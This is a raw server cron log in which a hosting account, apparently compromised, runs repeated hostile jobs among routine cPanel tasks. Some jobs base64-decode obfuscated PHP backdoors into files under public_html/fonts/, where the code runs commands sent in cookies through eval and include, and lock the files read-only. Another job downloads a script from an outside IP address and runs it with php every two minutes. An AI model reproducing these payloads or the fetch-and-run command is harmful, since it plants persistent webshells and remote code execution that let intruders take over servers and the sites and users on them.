Sep 12 14:59:01 ip-184-168-122-23 CROND[13398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:59:01 ip-184-168-122-23 CROND[13397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:59:01 ip-184-168-122-23 CROND[13399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:59:01 ip-184-168-122-23 CROND[13400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:00:01 ip-184-168-122-23 CROND[13498]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:00:01 ip-184-168-122-23 CROND[13501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:00:01 ip-184-168-122-23 CROND[13504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:00:01 ip-184-168-122-23 CROND[13506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:00:01 ip-184-168-122-23 CROND[13507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:00:01 ip-184-168-122-23 CROND[13505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:00:01 ip-184-168-122-23 CROND[13509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:00:01 ip-184-168-122-23 CROND[13510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:01:01 ip-184-168-122-23 CROND[13630]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 15:01:01 ip-184-168-122-23 CROND[13631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:01:01 ip-184-168-122-23 CROND[13632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:01:01 ip-184-168-122-23 CROND[13636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:01:01 ip-184-168-122-23 CROND[13639]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13630]: starting 0anacron
Sep 12 15:01:01 ip-184-168-122-23 CROND[13641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13651]: finished 0anacron
Sep 12 15:02:01 ip-184-168-122-23 CROND[13754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:02:01 ip-184-168-122-23 CROND[13756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:02:01 ip-184-168-122-23 CROND[13757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:02:01 ip-184-168-122-23 CROND[13759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:02:01 ip-184-168-122-23 CROND[13758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:03:01 ip-184-168-122-23 CROND[14097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:03:01 ip-184-168-122-23 CROND[14098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:03:01 ip-184-168-122-23 CROND[14099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:03:01 ip-184-168-122-23 CROND[14100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:04:01 ip-184-168-122-23 CROND[14224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:04:01 ip-184-168-122-23 CROND[14226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:04:01 ip-184-168-122-23 CROND[14227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:04:01 ip-184-168-122-23 CROND[14228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:04:01 ip-184-168-122-23 CROND[14232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14337]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:05:01 ip-184-168-122-23 CROND[14339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:06:01 ip-184-168-122-23 CROND[14517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:06:01 ip-184-168-122-23 CROND[14519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:06:01 ip-184-168-122-23 CROND[14522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:06:01 ip-184-168-122-23 CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:06:01 ip-184-168-122-23 CROND[14521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:07:02 ip-184-168-122-23 CROND[14613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:07:02 ip-184-168-122-23 CROND[14614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:07:02 ip-184-168-122-23 CROND[14615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:07:02 ip-184-168-122-23 CROND[14612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:08:02 ip-184-168-122-23 CROND[14817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:08:02 ip-184-168-122-23 CROND[14820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:08:02 ip-184-168-122-23 CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:08:02 ip-184-168-122-23 CROND[14818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:08:02 ip-184-168-122-23 CROND[14822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:09:01 ip-184-168-122-23 CROND[14909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:09:01 ip-184-168-122-23 CROND[14912]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 15:09:01 ip-184-168-122-23 CROND[14911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:09:01 ip-184-168-122-23 CROND[14913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:09:01 ip-184-168-122-23 CROND[14914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:10:01 ip-184-168-122-23 CROND[15046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:10:01 ip-184-168-122-23 CROND[15048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:10:01 ip-184-168-122-23 CROND[15050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:10:01 ip-184-168-122-23 CROND[15052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:10:01 ip-184-168-122-23 CROND[15056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:10:01 ip-184-168-122-23 CROND[15058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:10:01 ip-184-168-122-23 CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:10:01 ip-184-168-122-23 CROND[15059]: (root) CMD (/usr/lib64/sa/sa1 1 1)
